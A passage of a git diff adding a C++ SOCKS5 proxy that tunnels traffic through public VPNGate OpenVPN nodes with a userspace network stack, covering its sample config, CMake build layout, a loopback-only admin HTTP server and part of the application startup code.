&& cmake --build build --target ovg_tunnel_smoke +./build/src/ovg_tunnel_smoke --node public-vpn-113 --ping 8.8.8.8 --seconds 15 +# → tunnel up 10.239.88.225/30;6 个 ICMP echo reply;exit 0 + +# 沙箱 UDP 出网能力(解释为何 UDP 节点无法实测) +# DNS 8.8.8.8:53 → 56 字节应答,正常 +# NTP 216.239.35.0 / 129.6.15.28 / 162.159.200.1 :123 → 三个全部超时 +``` + +依赖版本:openvpn3 master(2026-07 快照)、lwIP 2.2.1、OpenSSL 3.5.6、lz4 1.10.0、 +fmt 10.1.1、ASIO 1.30(standalone)、GCC 14.2 / C++20。 diff --git a/etc/openvpngate.conf b/etc/openvpngate.conf new file mode 100644 index 0000000..f131c49 --- /dev/null +++ b/etc/openvpngate.conf @@ -0,0 +1,220 @@ +# openvpngate -- sample configuration +# +# Every key below is optional and shown at its default unless noted. Durations +# take a unit suffix ("250ms", "30s", "5m", "2h"); a bare number means seconds. +# Comments run from '#' to end of line. +# +# openvpngate -c etc/openvpngate.conf --check validate and print, no start +# openvpngate -c etc/openvpngate.conf run +# +# Nothing here needs root. The tunnel is terminated in userspace (lwIP), so +# there is no tun device, no routing table change, and no capability to grant. + +# --------------------------------------------------------------------------- +[socks5] +# --------------------------------------------------------------------------- +listen_address = 127.0.0.1 +listen_port = 1080 + +# Leave this on. With it off the proxy is an open relay to anyone who can reach +# the listen address. +require_auth = true + +# Credentials. Two ways, and they merge: +# * the [users] section at the bottom of this file (plaintext, dev only) +# * auth_file, which also accepts pre-hashed lines and is reloaded on SIGHUP +# auth_file = etc/socks5.auth + +# SOCKS5 UDP ASSOCIATE. Supported, with the caveats in docs/FEASIBILITY.md §5: +# fragmented datagrams (FRAG != 0) are dropped and counted, never reassembled. +udp_associate = true + +# The address handed back in the UDP ASSOCIATE reply. It has to be reachable +# *by the client*, which is why it cannot be derived from listen_address when +# that is 0.0.0.0. Empty = use the control connection's local address. +# advertise_address = + +# Admission control. Refused at accept, before a session object exists: this is +# the only thing standing between a burst and lwIP's allocator. +max_sessions = 1200 + +handshake_timeout = 10s +connect_timeout = 20s +idle_timeout = 5m +udp_idle_timeout = 60s +relay_buffer_size = 16384 + +# 0 = min(hardware_concurrency, 4). More than four buys little: every tunnelled +# byte passes through lwIP's single strand regardless. +io_threads = 0 + +# --------------------------------------------------------------------------- +[vpngate] +# --------------------------------------------------------------------------- +# The public node directory. Lines in this CSV can be ~10 KB each (the whole +# .ovpn profile is base64 in the last column), which the parser handles by +# streaming rather than by splitting the response into lines. +api_urls = http://www.vpngate.net/api/iphone/ +refresh_interval = 30m +http_timeout = 30s + +# A stale cache still beats no nodes at all when the API is down. +cache_path = var/vpngate_cache.csv +cache_max_age = 6h +max_response_bytes = 33554432 + +# --------------------------------------------------------------------------- +[selector] +# --------------------------------------------------------------------------- +# Two-phase: rank everything cheaply from the API metrics, then actively probe +# only the survivors. VPNGate's own numbers are measured from their +# infrastructure, not from yours, so they are a prior and nothing more. +# country_allow = JP, KR, SG +# country_deny = RU +prefer_udp = true + +probe_candidates = 12 +probe_samples = 3 +probe_timeout = 3s +probe_concurrency = 8 + +# Prior weights (API-derived). +w_score = 0.35 +w_speed = 0.30 +w_sessions = 0.20 +w_uptime = 0.15 + +# Final blend. Our own measured RTT outweighs anything the directory claims. +w_rtt = 0.45 +w_prior = 0.30 +w_history = 0.25 + +# Per-node outcome history. This is what stops the selector walking into the +# same broken node every time it appears with a flattering score. +history_path = var/node_history.tsv +failure_backoff_initial = 60s +failure_backoff_max = 1h + +# --------------------------------------------------------------------------- +[switch] +# --------------------------------------------------------------------------- +# graceful = make-before-break (new tunnel is fully up before the old one is +# replaced); hard = promote and close everything at once. +mode = graceful + +# How long a replaced egress keeps serving the sessions still on it. +drain_grace = 2m +max_draining = 2 + +# Anti-flap: no switch within this window of the last one, and a candidate must +# beat the incumbent by improvement_margin to be worth the disruption. +min_interval = 60s +improvement_margin = 0.20 +backoff_initial = 30s +backoff_max = 8m + +# What survives a switch. A session that has moved no bytes carries no TCP +# state, so it is re-dialled on the new egress transparently; a UDP association +# has no sequence state at all, so only its egress-side socket is replaced and +# the client never sees the port change. Everything else drains and is closed +# when the grace window expires -- see docs/ARCHITECTURE.md §5.3. +retry_zero_progress = true +rehome_udp = true + +# Go looking for a *better* node while the current one is healthy. Off by +# default: a scan probes a dozen volunteer-run servers and a switch costs every +# session that has moved bytes. Degradation-driven switching covers the +# requirement; this is the optional upgrade path. +opportunistic_interval = 0 + +# --------------------------------------------------------------------------- +[health] +# --------------------------------------------------------------------------- +interval = 15s + +# Consecutive bad windows before a switch is requested. One bad sample on a +# volunteer tunnel in another country is weather, not a failure. +unhealthy_windows = 3 + +# The probe dials this through the egress and drops the stream immediately. A +# TCP handshake rather than a DNS lookup on purpose: a lookup can be answered +# from cache without a byte crossing the tunnel, which would report a dead +# tunnel as the healthiest node in the fleet. +probe_domain = www.google.com +probe_port = 80 +probe_timeout = 5s + +min_score = 0.40 +max_connect_failure_rate = 0.50 +stall_threshold = 45s + +# --------------------------------------------------------------------------- +[ovpn] +# --------------------------------------------------------------------------- +# VPNGate nodes are overwhelmingly AES-128-CBC + SHA1. Turning this off is +# principled and will fail to connect to most of the directory. +allow_legacy_algorithms = true + +# Most VPNGate nodes ignore credentials; the ones that ask want "vpn"/"vpn". +username = vpn +password = vpn + +connect_timeout = 30 +tunnel_up_timeout = 45 +compression = true + +# Socket buffers for the tun-side socketpair. Too small drops IP packets under +# burst -- recoverable, but it costs throughput. +packet_socket_buffer = 2097152 + +# --------------------------------------------------------------------------- +[dns] +# --------------------------------------------------------------------------- +# Used inside the tunnel when the server pushes no resolver of its own. Must be +# literals: resolving a resolver needs a resolver. +fallback_servers = 1.1.1.1, 8.8.8.8 +timeout = 5s +cache_entries = 4096 +min_ttl = 5s +max_ttl = 1h +prefer_ipv4 = true + +# --------------------------------------------------------------------------- +[admin] +# --------------------------------------------------------------------------- +# GET /status /nodes /sessions /health /metrics /healthz, POST /switch. +# There is NO authentication here. Keep it on loopback. +enabled = true +listen_address = 127.0.0.1 +listen_port = 9080 + +# --------------------------------------------------------------------------- +[log] +# --------------------------------------------------------------------------- +level = info +file = - # "-" is stderr + +[log.modules] +# Per-module overrides; the tag is the one in square brackets in each log line. +# socks5 = debug +# netstack = warn +# health = debug + +# --------------------------------------------------------------------------- +[egress] +# --------------------------------------------------------------------------- +# Which way out to build: +# +# tunnel OpenVPN + lwIP -- the real thing +# direct host sockets, NO VPN -- for testing the proxy in isolation. A build +# configured with -DOVG_WITH_TUNNEL=OFF refuses to start in any other +# mode rather than silently proxying in the clear. +mode = tunnel + +# --------------------------------------------------------------------------- +[users] +# --------------------------------------------------------------------------- +# user = password, hashed with a random salt at load time. Fine for a laptop; +# for anything shared use socks5.auth_file, which takes pre-hashed lines and +# reloads on SIGHUP without dropping a single live session. +alice = changeme diff --git a/src/CMakeLists.txt b/src/CMakeLists.txt new file mode 100644 index 0000000..638a0f0 --- /dev/null +++ b/src/CMakeLists.txt @@ -0,0 +1,156 @@ +# Module layout mirrors docs/ARCHITECTURE.md. Dependencies point strictly one +# way -- app -> {health, socks5, egress, selector} -> {netstack, ovpn, vpngate} +# -> common -- and CMake is where that is enforced: if a link edge is missing +# here, the include is wrong. + +# Settings every module shares. +add_library(ovg_flags INTERFACE) +target_include_directories(ovg_flags INTERFACE + ${CMAKE_CURRENT_SOURCE_DIR} + ${ASIO_INCLUDE_DIR}) +target_compile_definitions(ovg_flags INTERFACE ASIO_STANDALONE) + +# Compiled in, not #ifdef'd out at the include level: every module can test it +# with a plain `if constexpr`/`#if` and the value is never accidentally absent. +if(OVG_WITH_TUNNEL) + target_compile_definitions(ovg_flags INTERFACE OVG_WITH_TUNNEL=1) +else() + target_compile_definitions(ovg_flags INTERFACE OVG_WITH_TUNNEL=0) +endif() + +target_compile_options(ovg_flags INTERFACE + -Wall -Wextra -Wpedantic + -Wno-unused-parameter) +target_link_libraries(ovg_flags INTERFACE + fmt::fmt + Threads::Threads + PkgConfig::OPENSSL) + +# ---- common: logging, config, metrics, errors, HTTP ------------------------ +add_library(ovg_common STATIC + common/logging.cpp + common/endpoint.cpp + common/error.cpp + common/metrics.cpp + common/config.cpp + common/http_get.cpp) +target_link_libraries(ovg_common PUBLIC ovg_flags) + +# ---- vpngate: API client, CSV parsing, node list --------------------------- +add_library(ovg_vpngate STATIC + vpngate/csv_parser.cpp + vpngate/node_store.cpp) +target_link_libraries(ovg_vpngate PUBLIC ovg_common) + +# ---- ovpn: one OpenVPN session, and the socketpair standing in for a tun --- +# This is the only target that sees openvpn3 headers. Everything above it talks +# to TunnelClient, whose implementation is pimpl'd away, so a change in the core +# cannot ripple past this line. +add_library(ovg_ovpn STATIC + ovpn/packet_pipe.cpp + ovpn/profile_sanitizer.cpp + ovpn/tunnel_client.cpp) +target_link_libraries(ovg_ovpn PUBLIC ovg_vpngate) +if(OVG_WITH_TUNNEL) + # PRIVATE: ovg_openvpn3's include directories must not leak to our callers. + # They arrive as -isystem (see cmake/Dependencies.cmake), so the core's own + # warnings stay quiet while our code in tunnel_client.cpp keeps -Wall -Wextra. + target_link_libraries(ovg_ovpn PRIVATE ovg_openvpn3) +endif() + +# ---- netstack: the userspace TCP/IP stack ---------------------------------- +# Only built with the tunnel: without lwIP there is nothing here to compile, and +# the direct egress uses host sockets through the same interfaces (stream.h). +if(OVG_WITH_TUNNEL) + # The port layer: sys_now() and the three hooks arch/cc.h expands to. lwIP + # itself will not link without them, so it has to be its own target rather + # than part of ovg_netstack -- a static archive only resolves symbols that are + # already undefined when the linker reaches it, and ovg_netstack sits *before* + # ovg_lwip on the link line. As a separate target it lands after, where lwIP's + # references to it are pending. + # + # It gets lwIP's headers by path rather than by linking ovg_lwip, which would + # make the dependency circular for no benefit: it needs the declarations, not + # the objects. + add_library(ovg_lwip_port STATIC netstack/lwip_port/lwip_shim.cpp) + target_link_libraries(ovg_lwip_port PUBLIC ovg_common) + target_include_directories(ovg_lwip_port SYSTEM PRIVATE ${LWIP_INCLUDE_DIRS}) + target_link_libraries(ovg_lwip INTERFACE ovg_lwip_port) + + add_library(ovg_netstack STATIC + netstack/lwip_stack.cpp + netstack/lwip_tcp.cpp + netstack/lwip_udp.cpp + netstack/dns_resolver.cpp) + target_link_libraries(ovg_netstack PUBLIC ovg_common) + # PRIVATE: lwIP's headers stop here. Callers see stream.h and packet_link.h, + # which is what makes replacing the stack a contained change. + target_link_libraries(ovg_netstack PRIVATE ovg_lwip) +endif() + +# ---- selector: scoring, probing, node choice ------------------------------- +add_library(ovg_selector STATIC + selector/history.cpp + selector/scorer.cpp + selector/prober.cpp + selector/selector.cpp) +target_link_libraries(ovg_selector PUBLIC ovg_vpngate) + +# ---- egress: the way out, and the make-before-break switch ----------------- +# The direct egress is always built: it is what the SOCKS5 tests run against, +# and what `egress_mode = direct` selects. The tunnel one only exists when there +# is a netstack for it to sit on, which is why it is a conditional source rather +# than a file full of #ifdefs. +set(OVG_EGRESS_SOURCES + egress/egress.cpp + egress/direct_egress.cpp + egress/egress_manager.cpp) +if(OVG_WITH_TUNNEL) + list(APPEND OVG_EGRESS_SOURCES egress/tunnel_egress.cpp) +endif() +add_library(ovg_egress STATIC ${OVG_EGRESS_SOURCES}) +target_link_libraries(ovg_egress PUBLIC ovg_selector ovg_ovpn) +if(OVG_WITH_TUNNEL) + target_link_libraries(ovg_egress PUBLIC ovg_netstack) +endif() + +# ---- socks5: the front door ------------------------------------------------ +# Depends on ovg_egress only for the Egress interface; it never names a tunnel, +# a node, or lwIP. That is what lets the whole proxy be tested over loopback +# against a DirectEgress with no VPN in sight. +add_library(ovg_socks5 STATIC + socks5/protocol.cpp + socks5/auth.cpp + socks5/session.cpp + socks5/udp_relay.cpp + socks5/server.cpp) +target_link_libraries(ovg_socks5 PUBLIC ovg_egress) + +# ---- health: scoring and the decision to switch ---------------------------- +# Links the manager (it drives switches) but not socks5: the health picture is +# built from the egress alone, so nothing here can start depending on what the +# proxy happens to be doing. +add_library(ovg_health STATIC + health/health_monitor.cpp + health/switch_controller.cpp) +target_link_libraries(ovg_health PUBLIC ovg_egress) + +# ---- app: assembly, admin endpoint, entry point ---------------------------- +# The only target that links everything. Split into a library plus a two-line +# main so the assembled service can be constructed by a test without spawning a +# process. +add_library(ovg_app STATIC + app/app.cpp + app/admin_server.cpp) +target_link_libraries(ovg_app PUBLIC ovg_socks5 ovg_health) +if(OVG_WITH_TUNNEL) + target_link_libraries(ovg_app PUBLIC ovg_netstack) +endif() + +add_executable(openvpngate app/main.cpp) +target_link_libraries(openvpngate PRIVATE ovg_app) + +# ---- diagnostic tools ------------------------------------------------------ +# Not part of the service. See each file's header comment for what it answers. +add_executable(ovg_tunnel_smoke ${CMAKE_SOURCE_DIR}/tools/tunnel_smoke.cpp) +target_link_libraries(ovg_tunnel_smoke PRIVATE ovg_ovpn) diff --git a/src/app/admin_server.cpp b/src/app/admin_server.cpp new file mode 100644 index 0000000..906cd65 --- /dev/null +++ b/src/app/admin_server.cpp @@ -0,0 +1,286 @@ +#include "app/admin_server.h" + +#include +#include +#include + +#include "app/json.h" +#include "common/logging.h" +#include "common/metrics.h" + +namespace ovg::app { +namespace { + +constexpr const char *kMod = "admin"; + +// A request that does not fit is not a request we serve. The largest thing any +// client legitimately sends here is a request line plus a handful of headers. +constexpr size_t kMaxRequestBytes = 8192; +constexpr std::chrono::seconds kRequestTimeout{10}; + +std::string http_response(int status, const char *reason, + const char *content_type, const std::string &body) { + std::string out; + out.reserve(body.size() + 160); + out += "HTTP/1.1 "; + out += std::to_string(status); + out += ' '; + out += reason; + out += "\r\nContent-Type: "; + out += content_type; + out += "\r\nContent-Length: "; + out += std::to_string(body.size()); + // No caching and no sniffing: this is a control plane, and a proxy or a + // browser deciding to be clever with it helps nobody. + out += "\r\nCache-Control: no-store" + "\r\nX-Content-Type-Options: nosniff" + "\r\nConnection: close\r\n\r\n"; + out += body; + return out; +} + +} // namespace + +// One request, one connection, one shot. Held alive by its own handlers. +class AdminServer::Conn : public std::enable_shared_from_this { + public: + // The hooks are copied, not referenced: a connection outlives the accept + // handler that created it, and a dangling reference here would be a + // use-after-free reachable from the network. + Conn(asio::ip::tcp::socket sock, Hooks hooks) + : sock_(std::move(sock)), + timer_(sock_.get_executor()), + hooks_(std::move(hooks)) {} + + void start() { + timer_.expires_after(kRequestTimeout); + auto self = shared_from_this(); + timer_.async_wait([self](const std::error_code &ec) { + if (ec) return; + // A client that opens a socket and says nothing must not hold a slot. + std::error_code ignored; + self->sock_.close(ignored); + }); + read_more(); + } + + private: + void read_more() { + if (buf_.size() >= kMaxRequestBytes) { + reply(413, "Payload Too Large", "text/plain", "request header too large\n"); + return; + } + auto self = shared_from_this(); + sock_.async_read_some( + asio::buffer(scratch_), [self](const std::error_code &ec, size_t n) { + if (ec) { + self->finish(); + return; + } + self->buf_.append(self->scratch_.data(), n); + // Only the head is needed. A POST body is deliberately never read: + // every mutating endpoint here takes its input from the path. + const auto end = self->buf_.find("\r\n\r\n"); + if (end == std::string::npos) { + self->read_more(); + return; + } + self->dispatch(self->buf_.substr(0, self->buf_.find("\r\n"))); + }); + } + + void dispatch(const std::string &request_line) { + // "METHOD SP TARGET SP VERSION" + const auto sp1 = request_line.find(' '); + const auto sp2 = sp1 == std::string::npos + ? std::string::npos + : request_line.find(' ', sp1 + 1); + if (sp1 == std::string::npos || sp2 == std::string::npos) { + reply(400, "Bad Request", "text/plain", "malformed request line\n"); + return; + } + const std::string method = request_line.substr(0, sp1); + std::string path = request_line.substr(sp1 + 1, sp2 - sp1 - 1); + if (const auto q = path.find('?'); q != std::string::npos) path.resize(q); + + LOG_DEBUG(kMod, "{} {}", method, path); + + if (method == "GET") { + if (path == "/healthz") { + reply(200, "OK", "text/plain", "ok\n"); + return; + } + if (path == "/metrics") { + reply(200, "OK", "text/plain; version=0.0.4", + metrics::Registry::instance().render_prometheus()); + return; + } + if (path == "/status" && hooks_.status_json) { + reply_json(hooks_.status_json()); + return; + } + if (path == "/nodes" && hooks_.nodes_json) { + reply_json(hooks_.nodes_json()); + return; + } + if (path == "/sessions" && hooks_.sessions_json) { + reply_json(hooks_.sessions_json()); + return; + } + if (path == "/health" && hooks_.health_json) { + reply_json(hooks_.health_json()); + return; + } + if (path == "/") { + reply(200, "OK", "text/plain", + "openvpngate admin\n" + " GET /status service state\n" + " GET /nodes current node ranking\n" + " GET /sessions live SOCKS5 sessions\n" + " GET /health recent health samples\n" + " GET /metrics prometheus metrics\n" + " GET /healthz liveness\n" + " POST /switch force a node switch\n"); + return; + } + } else if (method == "POST") { + if (path == "/switch" && hooks_.force_switch) { + std::string detail; + const bool ok = hooks_.force_switch(&detail); + // Built through the writer rather than concatenated: `detail` carries a + // node id that came from the VPNGate directory, and that is not a + // string we chose. + Json j; + j.obj().kv("accepted", ok).kv("detail", detail).end_obj(); + std::string body = j.take() + "\n"; + // 409 rather than 500: a refusal means a switch is already running, + // which is a state conflict and not a failure. + reply(ok ? 202 : 409, ok ? "Accepted" : "Conflict", "application/json", + body); + return; + } + } else { + reply(405, "Method Not Allowed", "text/plain", "method not allowed\n"); + return; + } + + reply(404, "Not Found", "text/plain", "not found\n"); + } + + void reply_json(std::string body) { + body += '\n'; + reply(200, "OK", "application/json", body); + } + + void reply(int status, const char *reason, const char *type, + const std::string &body) { + resp_ = http_response(status, reason, type, body); + auto self = shared_from_this(); + asio::async_write(sock_, asio::buffer(resp_), + [self](const std::error_code &, size_t) { + // Half-close so the client sees the end of the body + // even if it has not finished sending its own headers. + std::error_code ignored; + self->sock_.shutdown( + asio::ip::tcp::socket::shutdown_send, ignored); + self->finish(); + }); + } + + void finish() { + timer_.cancel(); + std::error_code ignored; + sock_.close(ignored); + } + + asio::ip::tcp::socket sock_; + asio::steady_timer timer_; + Hooks hooks_; + std::array scratch_{}; + std::string buf_; + std::string resp_; +}; + +AdminServer::AdminServer(asio::io_context &io, AdminConfig cfg, Hooks hooks) + : io_(io), + cfg_(std::move(cfg)), + hooks_(std::move(hooks)), + strand_(asio::make_strand(io)), + acceptor_(strand_) {} + +AdminServer::~AdminServer() { stop(); } + +bool AdminServer::start(std::string *err) { + std::error_code ec; + const auto addr = asio::ip::make_address(cfg_.listen_address, ec); + if (ec) { + *err = "admin.listen_address is not an IP address: " + cfg_.listen_address; + return false; + } + const asio::ip::tcp::endpoint ep(addr, cfg_.listen_port); + + acceptor_.open(ep.protocol(), ec); + if (ec) { + *err = "admin: cannot open socket: " + ec.message(); + return false; + } + acceptor_.set_option(asio::socket_base::reuse_address(true), ec); + acceptor_.bind(ep, ec); + if (ec) { + *err = "admin: cannot bind " + ep.address().to_string() + ":" + + std::to_string(ep.port()) + ": " + ec.message(); + return false; + } + acceptor_.listen(16, ec); + if (ec) { + *err = "admin: cannot listen: " + ec.message(); + return false; + } + port_ = acceptor_.local_endpoint(ec).port(); + + if (!addr.is_loopback()) { + // See the header: there is no authentication here. Off-loopback this is an + // unauthenticated switch-my-VPN-now button on the network. + LOG_WARN(kMod, + "admin endpoint is bound to {}, which is NOT loopback, and it has " + "no authentication -- anyone who can reach it can force a node " + "switch and read live session metadata", + addr.to_string()); + } + LOG_INFO(kMod, "listening on {}:{}", addr.to_string(), port_); + + do_accept(); + return true; +} + +void AdminServer::do_accept() { + if (stopping_.load(std::memory_order_acquire)) return; + acceptor_.async_accept( + asio::make_strand(io_), + [this](const std::error_code &ec, asio::ip::tcp::socket sock) { + if (ec) { + if (ec == asio::error::operation_aborted) return; + LOG_WARN(kMod, "accept failed: {}", ec.message()); + if (acceptor_.is_open()) do_accept(); + return; + } + if (stopping_.load(std::memory_order_acquire)) { + std::error_code ignored; + sock.close(ignored); + return; + } + std::make_shared(std::move(sock), hooks_)->start(); + do_accept(); + }); +} + +void AdminServer::stop() { + if (stopping_.exchange(true, std::memory_order_acq_rel)) return; + asio::post(strand_, [this] { + std::error_code ignored; + acceptor_.close(ignored); + }); + LOG_INFO(kMod, "listener stopped"); +} + +} // namespace ovg::app diff --git a/src/app/admin_server.h b/src/app/admin_server.h new file mode 100644 index 0000000..5f942bd --- /dev/null +++ b/src/app/admin_server.h @@ -0,0 +1,81 @@ +// The operator interface: a deliberately small HTTP/1.1 server. +// +// --------------------------------------------------------------------------- +// Scope +// --------------------------------------------------------------------------- +// GET /status everything about the running service, as JSON +// GET /nodes the current ranking, with the scores that produced it +// GET /sessions live SOCKS5 sessions (bounded) +// GET /health recent health samples and the verdicts behind them +// GET /metrics Prometheus text exposition +// GET /healthz liveness; 200 and nothing else +// POST /switch force a node switch now +// +// One request per connection, `Connection: close`, no keep-alive, no chunked +// encoding, no request body ever read past its headers. That is not laziness: +// this endpoint exists so a human or a scrape job can ask questions, and every +// feature beyond that is attack surface on a control plane. +// +// --------------------------------------------------------------------------- +// Why there is no authentication +// --------------------------------------------------------------------------- +// Because it binds to loopback and validate() refuses anything else without an +// explicit opt-in. A token on a loopback socket protects against nothing that +// a token in the same config file would not also expose; if this ever needs to +// listen on a real interface, it needs real auth, and that is a change to make +// deliberately rather than to half-do now. Binding off-loopback logs a warning +// on every start for exactly that reason. +// +// The hooks are std::functions rather than component pointers so this file +// depends on no module: app/ knows where the numbers come from, this only knows +// how to serve them. +#pragma once + +#include + +#include +#include +#include +#include + +#include "common/config.h" +#include "common/strand_deleter.h" + +namespace ovg::app { + +class AdminServer { + public: + struct Hooks { + std::function status_json; + std::function nodes_json; + std::function sessions_json; + std::function health_json; + // Returns false if the switch was refused; `detail` explains either way. + std::function force_switch; + }; + + AdminServer(asio::io_context &io, AdminConfig cfg, Hooks hooks); + ~AdminServer(); + + AdminServer(const AdminServer &) = delete; + AdminServer &operator=(const AdminServer &) = delete; + + bool start(std::string *err); + void stop(); + + uint16_t port() const { return port_; } + + private: + class Conn; + void do_accept(); + + asio::io_context &io_; + AdminConfig cfg_; + Hooks hooks_; + Strand strand_; + asio::ip::tcp::acceptor acceptor_; + uint16_t port_ = 0; + std::atomic stopping_{false}; +}; + +} // namespace ovg::app diff --git a/src/app/app.cpp b/src/app/app.cpp new file mode 100644 index 0000000..9a3607f --- /dev/null +++ b/src/app/app.cpp @@ -0,0 +1,581 @@ +#include "app/app.h" + +#include +#include +#include + +#include "app/json.h" +#include "common/error.h" +#include "common/logging.h" +#include "common/metrics.h" + +#if OVG_WITH_TUNNEL +#include "netstack/lwip_stack.h" +#endif + +namespace ovg::app { +namespace { + +constexpr const char *kMod = "app"; + +// Bounded so an operator cannot ask for a thousand-entry document by accident. +constexpr size_t kMaxSessionsListed = 200; +constexpr size_t kMaxNodesListed = 50; +constexpr size_t kHealthSamplesListed = 10; + +int io_thread_count(const Socks5Config &cfg) { + if (cfg.io_threads > 0) return cfg.io_threads; + const unsigned hw = std::thread::hardware_concurrency(); + // Four is the ceiling on purpose (docs/ARCHITECTURE.md §4): past that, the + // contention inside lwIP's single strand costs more than the extra threads + // buy, because every tunnelled byte has to pass through it anyway. + return static_cast(std::min(hw == 0 ? 1 : hw, 4)); +} + +metrics::Gauge *g_uptime() { + static auto *g = metrics::gauge("ovg_uptime_seconds", "Process uptime"); + return g; +} + +} // namespace + +App::App(Config cfg) + : cfg_(std::move(cfg)), + io_(io_thread_count(cfg_.socks5)), + work_(asio::make_work_guard(io_)), + signals_(io_) {} + +App::~App() { + // Everything below holds a reference to io_ and must be gone before it is. + admin_.reset(); + switcher_.reset(); + health_.reset(); + socks_.reset(); + egress_.reset(); + selector_.reset(); +#if OVG_WITH_TUNNEL + stack_.reset(); +#endif + nodes_.reset(); +} + +bool App::init_logging(std::string *err) { + log::set_level(cfg_.logging.level); + for (const auto &kv : cfg_.logging.module_levels) { + log::set_module_level(kv.first, kv.second); + } + if (!log::set_output_file(cfg_.logging.file, err)) return false; + return true; +} + +bool App::init_egress(std::string *err) { + const bool want_tunnel = cfg_.egress_mode != "direct"; + +#if OVG_WITH_TUNNEL + if (want_tunnel) { + try { + stack_ = std::make_unique(io_, cfg_.dns); + } catch (const std::exception &e) { + *err = std::string("cannot start the userspace network stack: ") + + e.what(); + return false; + } + } +#else + if (want_tunnel) { + // Refusing beats silently proxying in the clear. Someone who configured + // `egress_mode = tunnel` and got direct host sockets would have a working + // proxy and no VPN, which is the one failure mode that must never be quiet. + *err = + "egress_mode is 'tunnel' but this build has no tunnel support " + "(configure with -DOVG_WITH_TUNNEL=ON, or set egress_mode = direct)"; + return false; + } +#endif + + if (!want_tunnel) { + LOG_WARN(kMod, + "egress_mode = direct: traffic leaves through the host's own " + "network, NOT through a VPN. This mode exists for testing."); + } + +#if OVG_WITH_TUNNEL + netstack::Stack *stack = stack_.get(); +#else + netstack::Stack *stack = nullptr; +#endif + egress_ = std::make_unique( + io_, cfg_, selector_.get(), history_.get(), stack); + return true; +} + +bool App::start(std::string *err) { + started_ = std::chrono::steady_clock::now(); + if (!init_logging(err)) return false; + + LOG_INFO(kMod, "starting: egress_mode={}, io_threads={}, tunnel_support={}", + cfg_.egress_mode, io_thread_count(cfg_.socks5), + OVG_WITH_TUNNEL ? "yes" : "no"); + + // ---- node list and selection --------------------------------------------- + nodes_ = std::make_unique(io_, cfg_.vpngate); + history_ = std::make_unique( + cfg_.selector.history_path, cfg_.selector); + history_->load(); + LOG_INFO(kMod, "loaded history for {} node(s) from {}", history_->size(), + cfg_.selector.history_path); + selector_ = std::make_unique(io_, cfg_.selector, *nodes_, + *history_); + + // ---- the way out --------------------------------------------------------- + if (!init_egress(err)) return false; + + // ---- the front door ------------------------------------------------------ + // The provider is a lambda rather than a manager pointer so the SOCKS5 layer + // keeps knowing nothing about switching; see socks5/server.h. + socks_ = std::make_unique( + io_, cfg_, [this] { return egress_->acquire(); }); + if (!socks_->start(err)) return false; + + // ---- health and the switch decision -------------------------------------- + health_ = std::make_unique( + io_, cfg_.health, [this] { return egress_->acquire(); }); + switcher_ = std::make_unique(io_, cfg_, *health_, + *egress_); + wire_switch_hooks(); + switcher_->start(); // before the monitor, so no verdict is missed + + // ---- admin --------------------------------------------------------------- + if (cfg_.admin.enabled) { + AdminServer::Hooks hooks; + hooks.status_json = [this] { return status_json(); }; + hooks.nodes_json = [this] { return nodes_json(); }; + hooks.sessions_json = [this] { return sessions_json(); }; + hooks.health_json = [this] { return health_json(); }; + hooks.force_switch = [this](std::string *detail) { + // The refusal text comes from the manager, which is the only layer that + // knows which of the four refusal conditions it was. Guessing here is how + // a direct-mode build ends up telling an operator that a switch it never + // attempted is "already in progress". + const bool ok = switcher_->force_switch("admin request", detail); + if (ok) *detail = "switch started"; + else if (detail->empty()) *detail = "refused"; + return ok; + }; + admin_ = std::make_unique(io_, cfg_.admin, std::move(hooks)); + if (!admin_->start(err)) return false; + } + + install_signals(); + + // ---- bring the first egress up ------------------------------------------- + // The listener is already accepting: a client that connects before a tunnel + // exists is refused at accept with a counted `no_egress`, which is a far + // better answer than a connection that hangs until the first node is up. + nodes_->start(); + egress_->start([this](const std::error_code &ec) { + if (ec) { + // Shutting down before the first tunnel came up cancels the startup, and + // that arrives here looking exactly like a failure. It is not one, and + // reporting it as ERROR -- with advice about a proxy that "stays up", + // three lines above "stopped" -- is how a clean exit gets read as a crash. + if (stopping_.load(std::memory_order_acquire)) { + LOG_INFO(kMod, "startup abandoned: {}", ec.message()); + return; + } + LOG_ERROR(kMod, + "no usable egress after the startup retry budget: {}. The " + "proxy stays up and keeps refusing connections; the switch " + "controller will keep trying.", + ec.message()); + return; + } + const auto st = egress_->status(); + LOG_INFO(kMod, "egress ready on {}", st.active_node); + health_->start(); + }); + + return true; +} + +void App::wire_switch_hooks() { + // One hook, two subscribers, and the order is not arbitrary. + // + // The SOCKS5 server goes first because re-homing has to happen *before* the + // old egress starts draining: a session that moves onto the new egress must + // do so while the old one is still whole, or a re-dial that fails has nothing + // to fall back to. The controller's half only re-probes health, which is + // meaningless until the new egress is actually the active one. + egress_->set_on_promote( + [this](const egress::EgressPtr &old_e, const egress::EgressPtr &new_e) { + if (socks_) socks_->on_promote(old_e, new_e); + if (switcher_) { + switcher_->note_promotion(old_e ? old_e->label() : "-", + new_e ? new_e->label() : "-"); + } + }); + + egress_->set_on_drain_expired([this](const egress::EgressPtr &e) { + if (socks_) socks_->on_drain_expired(e); + }); +} + +void App::install_signals() { + signals_.add(SIGINT); + signals_.add(SIGTERM); + signals_.add(SIGHUP); + // SIGPIPE would take the process down on a write to a peer that vanished, + // which on a proxy is a routine Tuesday. + std::signal(SIGPIPE, SIG_IGN); + + signals_.async_wait([this](const std::error_code &ec, int sig) { + if (ec) return; + if (sig == SIGHUP) { + // Reload the things it is safe to reload while running: credentials and + // the node list. Not listen addresses, not thread counts -- those need a + // restart, and pretending otherwise is how you get a half-applied config. + if (!cfg_.socks5.auth_file.empty() && socks_) { + std::vector users; + std::string err; + if (load_auth_file(cfg_.socks5.auth_file, &users, &err)) { + const size_t n = socks_->auth().replace(std::move(users)); + LOG_INFO(kMod, "SIGHUP: reloaded {} credential(s) from {}", n, + cfg_.socks5.auth_file); + } else { + LOG_ERROR(kMod, "SIGHUP: keeping the old credentials, {} is bad: {}", + cfg_.socks5.auth_file, err); + } + } + if (nodes_) { + nodes_->refresh_now([](std::error_code rec, size_t n) { + if (rec) { + LOG_WARN(kMod, "SIGHUP: node refresh failed: {}", rec.message()); + } else { + LOG_INFO(kMod, "SIGHUP: node list refreshed, {} node(s)", n); + } + }); + } + install_signals(); // re-arm; SIGHUP is not a shutdown + return; + } + + const int n = stop_requests_.fetch_add(1, std::memory_order_acq_rel) + 1; + if (n == 1) { + LOG_INFO(kMod, "signal {} received, shutting down gracefully", sig); + begin_shutdown(); + install_signals(); // so a second one can still be heard + return; + } + LOG_WARN(kMod, "signal {} received again, 